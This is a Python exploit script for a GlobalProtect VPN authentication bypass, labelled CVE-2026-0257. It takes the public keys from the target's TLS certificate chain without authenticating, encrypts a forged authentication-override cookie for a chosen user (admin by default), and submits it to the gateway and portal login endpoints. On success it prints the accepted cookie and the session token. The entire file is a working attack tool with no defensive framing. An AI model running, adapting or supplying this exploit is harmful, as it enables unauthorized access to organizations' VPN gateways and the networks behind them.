"""
Forge a GlobalProtect authentication override cookie using only the public key.

Retrieves the CA certificate from the TLS handshake (unauthenticated),
encrypts a forged cookie for the specified user, and tests it against
the gateway (and optionally the portal) to bypass authentication.
"""

import argparse
import base64
import re
import ssl
import socket
import time
import urllib.request
import urllib.parse

from cryptography import x509
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding


def _extract_certs_from_tls_handshake(host, port):
    """
    Intercept raw TLS handshake bytes via MemoryBIO and parse the Certificate
    message to extract all certs the server sends. Works on Python 3.6+.
    Forces TLS 1.2 so the Certificate message is sent in plaintext.
    """
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    # Force TLS 1.2 - in TLS 1.3 the Certificate message is encrypted
    ctx.maximum_version = ssl.TLSVersion.TLSv1_2

    incoming = ssl.MemoryBIO()
    outgoing = ssl.MemoryBIO()
    sslobj = ctx.wrap_bio(incoming, outgoing, server_hostname=host)

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    sock.connect((host, port))

    raw_from_server = bytearray()

    try:
        while True:
            # Always flush any pending outgoing TLS data first
            out_data = outgoing.read()
            if out_data:
                sock.sendall(out_data)

            try:
                sslobj.do_handshake()
                # Handshake complete, flush remaining
                out_data = outgoing.read()
                if out_data:
                    sock.sendall(out_data)
                break
            except ssl.SSLWantReadError:
                pass
            except ssl.SSLWantWriteError:
                continue

            # Non-blocking peek: only recv if data is available
            sock.setblocking(False)
            try:
                data = sock.recv(16384)
                if not data:
                    break
                raw_from_server.extend(data)
                incoming.write(data)
            except (BlockingIOError, socket.error):
                # No data yet; flush outgoing and retry
                sock.setblocking(True)
                sock.settimeout(10)
                out_data = outgoing.read()
                if out_data:
                    sock.sendall(out_data)
                # Now wait for data with timeout
                data = sock.recv(16384)
                if not data:
                    break
                raw_from_server.extend(data)
                incoming.write(data)
            finally:
                sock.setblocking(True)
                sock.settimeout(10)
    except (ssl.SSLError, socket.timeout, OSError):
        pass
    finally:
        sock.close()

    return _parse_certs_from_tls_records(bytes(raw_from_server))


def _parse_certs_from_tls_records(data):
    """Parse raw TLS records to extract certificates from the Certificate handshake message."""
    # First pass: reassemble all handshake record payloads (type 22)
    handshake_data = bytearray()
    i = 0
    while i + 5 <= len(data):
        content_type = data[i]
        record_length = int.from_bytes(data[i + 3:i + 5], "big")
        if i + 5 + record_length > len(data):
            break
        if content_type == 22:  # Handshake
            handshake_data.extend(data[i + 5:i + 5 + record_length])
        i += 5 + record_length

    # Second pass: walk handshake messages looking for Certificate (type 11)
    certs = []
    j = 0
    while j + 4 <= len(handshake_data):
        hs_type = handshake_data[j]
        hs_length = int.from_bytes(handshake_data[j + 1:j + 4], "big")
        if j + 4 + hs_length > len(handshake_data):
            break

        if hs_type == 11:  # Certificate
            body = handshake_data[j + 4:j + 4 + hs_length]
            if len(body) >= 3:
                certs_total_len = int.from_bytes(body[0:3], "big")
                k = 3
                while k + 3 <= len(body) and k < 3 + certs_total_len:
                    cert_len = int.from_bytes(body[k:k + 3], "big")
                    if k + 3 + cert_len > len(body):
                        break
                    cert_der = bytes(body[k + 3:k + 3 + cert_len])
                    certs.append(x509.load_der_x509_certificate(cert_der))
                    k += 3 + cert_len
            break  # Found what we need

        j += 4 + hs_length

    return certs


def get_all_public_keys(host, port=443):
    """Extract all public keys from the TLS certificate chain (unauthenticated)."""
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    with ctx.wrap_socket(socket.socket(), server_hostname=host) as s:
        s.connect((host, port))

        # Python 3.10+ exposes get_unverified_chain() directly
        if hasattr(s, "get_unverified_chain"):
            der_chain = s.get_unverified_chain()
            return [x509.load_der_x509_certificate(der) for der in der_chain]

    # Fallback for older Python: parse raw TLS handshake to get full cert chain
    certs = _extract_certs_from_tls_handshake(host, port)
    if certs:
        return certs

    # Last resort: only the leaf certificate via stdlib (no full chain)
    with ctx.wrap_socket(socket.socket(), server_hostname=host) as s:
        s.connect((host, port))
        der_bytes = s.getpeercert(binary_form=True)
    return [x509.load_der_x509_certificate(der_bytes)]


def forge_cookie(public_key, username, domain="", host_id="", client_ip="0.0.0.0", client_os="Windows"):
    """Forge an authentication override cookie."""
    timestamp = int(time.time())
    plaintext = f"{username};{domain};{client_os};{host_id};{timestamp};{client_ip}"
    ciphertext = public_key.encrypt(plaintext.encode(), padding.PKCS1v15())
    return base64.b64encode(ciphertext).decode()


def test_cookie(host, port, cookie_b64, username, context="gateway", client_os="Windows", host_id=""):
    """Test the forged cookie against the GP endpoint."""
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    params = {
        "prot": "https",
        "server": host,
        "inputStr": "",
        "jnlpReady": "jnlpReady",
        "ok": "Login",
        "direct": "yes",
        "clientVer": "4100",
        "user": username,
        "passwd": "",
        "context": context,
        "clientos": client_os,
        "clientgpversion": "6.0.0",
        "host-id": host_id,
        "computer": "",        
        "os-version": "Microsoft Windows 10 Pro 64-bit",
        "portal-userauthcookie": cookie_b64,
        "portal-prelogonuserauthcookie": "",
    }
    body = urllib.parse.urlencode(params)

    url = f"https://{host}:{port}/ssl-vpn/login.esp" if port != 443 else f"https://{host}/ssl-vpn/login.esp"
    req = urllib.request.Request(url, data=body.encode(), method="POST")
    req.add_header("Content-Type", "application/x-www-form-urlencoded")

    try:
        with urllib.request.urlopen(req, context=ctx) as resp:
            return resp.read().decode()
    except urllib.error.HTTPError as e:
        return f"HTTP {e.code}"


def main():
    parser = argparse.ArgumentParser(
        description="Forge a GlobalProtect auth override cookie using the public key from TLS (CVE-2026-0257)."
    )
    parser.add_argument("--target", required=True, help="Target GlobalProtect portal or gateway (IP or hostname)")
    parser.add_argument("--port", type=int, default=443, help="Target port (default: 443)")
    parser.add_argument("--user", default="admin", help="Username to forge cookie for (default: admin)")
    parser.add_argument("--domain", default="", help="Domain for cookie (default: empty)")
    parser.add_argument("--host-id", default="", help="Host ID for cookie (default: empty)")
    parser.add_argument("--client-os", default="Windows", help="Client OS for cookie (default: Windows)")
    parser.add_argument("--client-ip", default="0.0.0.0", help="Client IP in cookie (default: 0.0.0.0)")
    parser.add_argument("--context", choices=["gateway", "portal", "both"], default="both",
                        help="Context to test: gateway, portal, or both (default target)")
    parser.add_argument("--verbose", action="store_true", help="Print full response")
    args = parser.parse_args()

    # Step 1: Get all public keys from TLS chain
    print(f"[*] Retrieving certificate chain from {args.target}:{args.port} ...")
    certs = get_all_public_keys(args.target, args.port)
    print(f"  Found {len(certs)} certificate(s) in chain:")
    for i, cert in enumerate(certs):
        cn = cert.subject.rfc4514_string()
        try:
            bc = cert.extensions.get_extension_for_class(x509.BasicConstraints)
            is_ca = bc.value.ca
        except x509.ExtensionNotFound:
            is_ca = False
        print(f"  [{i}] {cn} (RSA {cert.public_key().key_size} bits, CA={is_ca})")

    # Determine which contexts to test
    if args.context == "both":
        contexts = ["gateway", "portal"]
    else:
        contexts = [args.context]

    # Step 2: Try each key until one works
    print(f"\n[*] Forging cookie for user '{args.user}', testing each key")
    success = False
    for i, cert in enumerate(certs):
        cn = cert.subject.rfc4514_string()
        public_key = cert.public_key()
        print(f"\n  Trying [{i}] {cn}")

        cookie_b64 = forge_cookie(public_key, args.user, args.domain, args.host_id, args.client_ip, args.client_os)

        for context in contexts:
            response = test_cookie(args.target, args.port, cookie_b64, args.user, context, args.client_os, args.host_id)

            if context == "gateway":
                # Gateway returns XML with <status>Success</status> or config data
                if "<status>Success</status>" in response or ("<argument>" in response and args.user in response):
                    print(f"  [+] Success - Gateway accepted the forged cookie")
                    print(f"  Cookie: {cookie_b64}")                    
                    if args.verbose:
                        print(f"\n    Full response:\n{response}")
                    success = True
                    break
                else:
                    print(f"  [-] Failure - Gateway did not accepted the forged cookie")
                    if args.verbose:
                        print(f"    Response: {response}")
            else:
                # Portal returns JNLP XML with <argument> elements
                if "<argument>" in response and args.user in response:
                    args_list = re.findall(r"<argument>(.*?)</argument>", response)
                    print(f"  [+] Success - Portal accepted the forged cookie")
                    print(f"  Cookie:     {cookie_b64}")                    
                    print(f"  Auth token: {args_list[1] if len(args_list) > 1 else 'N/A'}")
                    print(f"  Username:   {args_list[4] if len(args_list) > 4 else 'N/A'}")
                    print(f"  Gateway:    {args_list[3] if len(args_list) > 3 else 'N/A'}")
                    if args.verbose:
                        print(f"\n    Full response:\n{response}")
                    success = True
                    break
                else:
                    print(f"  [-] Failure - Portal did not accepted the forged cookie")
                    if args.verbose:
                        print(f"    Response: {response}")

        if success:
            break

    if not success:
        print(f"\n[-] No key in the chain produced a valid cookie.")


if __name__ == "__main__":
    main()